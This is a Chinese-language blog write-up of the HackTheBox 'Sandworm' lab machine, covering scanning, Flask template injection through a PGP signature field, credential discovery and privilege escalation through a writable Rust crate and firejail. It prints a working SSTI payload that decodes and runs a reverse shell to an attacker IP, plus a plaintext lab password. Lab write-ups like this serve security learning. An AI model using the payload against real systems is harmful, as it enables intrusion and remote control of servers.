HackTheBox Sandworm WriteUP
题目
解题
端口扫描
题目给了IP,先端口扫描:
rustscan -r 1-65535 -b 924 -t 2000 -a 10.10.11.218
Web服务访问一下,直接跳转到了ssa.htb
。
配置好hosts文件之后上nmap再仔细扫一遍:
echo "10.10.11.218 ssa.htb" >> /etc/hosts
nmap -p 22,80,443 -A -v -Pn --open --script auth,vuln ssa.htb
并没有找到更多有价值的信息。
目录扫描
ffuf -u https://ssa.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -c -v -r
其中contact
是一个提交PGP加密信息的界面:
guide
是一个指导PGP加密的界面,包含加密、解密和验证等功能:
网站底部有Powered by Flask™
字样,看到这个第一反应应该就是用SSTI漏洞来打了。
服务器端模板注入(SSTI)
和XSS一样,找SSTI的注入点,首先应该找能够把我们输入的信息完整回显的地方。这里我们找到了guide
页面的Verify Signature
功能,它能返回我们签名pgp时使用的用户名(这里忘记截图了),简单{{9*9}}
验证后证实存在SSTI漏洞。
后续反弹Shell利用的Payload如下:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvOTExIDA+JjE="|base64 -d|bash').read() }}
首先我们在在线网站(PGP Tool)生成PGP密钥对,在用户名处键入Payload:
然后生成签名信息:
将公钥和签名信息丢到网站中验证,成功反弹Shell:
提权
当前用户目录下是没有user.txt的。我们在翻看了配置文件后,在/home/atlas/.config/httpie/sessions/localhost_5000/admin.json
中发现了用户silentobserver
的账号密码:
此用户能够在login
页面直接登录,也能直接ssh登录到目标:
<!–>quietLiketheWind22<!–>
执行pspy64看一下进程,找到了一个atlas用户权限执行的定时任务:
简化一下,然后问一下ChatGPT这是什么意思:
这个命令是一个结合了
echo
和cargo
的 shell 命令。我们来逐部分解这个命令:
echo "e"
: 这是一个 shell 命令,用于输出 “e” 这个字符。
|
: 这是一个管道符号。在 shell 中,管道用于将前一个命令的输出作为下一个命令的输入。在这个场景下,它将 “e” 这个字符传递给了cargo run --offline
命令。
cargo run --offline
: 这是 Cargo 的一个命令。
cargo run
: 这是 Cargo 的一个命令,它编译并运行指定的 Rust 项目。--offline
: 这个标志告诉 Cargo 在离线模式下运行,这意味着它不会尝试联网更新 crate 或解决依赖。它会使用本地缓存的依赖版本。综合来看,
echo "e"|cargo run --offline
的意思是:输出 “e” 这个字符,并将这个字符作为输入传递给cargo run --offline
。这通常是为了向 Rust 程序提供一些预期的输入,例如当 Rust 程序期望从标准输入中读取数据时。
我们在先前获得的第一个Shell,用户权限就是atlas
,但那实际上大概率只是一个沙箱环境:
所以我们也许需要再次获得atlas用户的真实权限。结合cargo的进程,我们修改rust程序的源码,就可以实现反弹Shell。但是很遗憾,我们并没有src目录的写入权限:
继续翻目录,我们有/opt/crates/logger/src/lib.rs
的写入权限,而tipnet
刚好会调用logger的函数:
那么,我们修改lib.rs
的源码就可以了:
获得atlas
用户的shell之后,可以看到当前用户下正在运行firejail:
我们最初获得的Shell,应该就是这个沙箱的环境:
firejail
存在公开的漏洞,我们直接找到exp利用就好:
后记
除了SSTI之前做过类似的challenge之外,其他几乎所有知识点都要现学。再次意识到,对于安全人员来说,现学现卖真是一样非常重要的能力。
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 忘返的博客!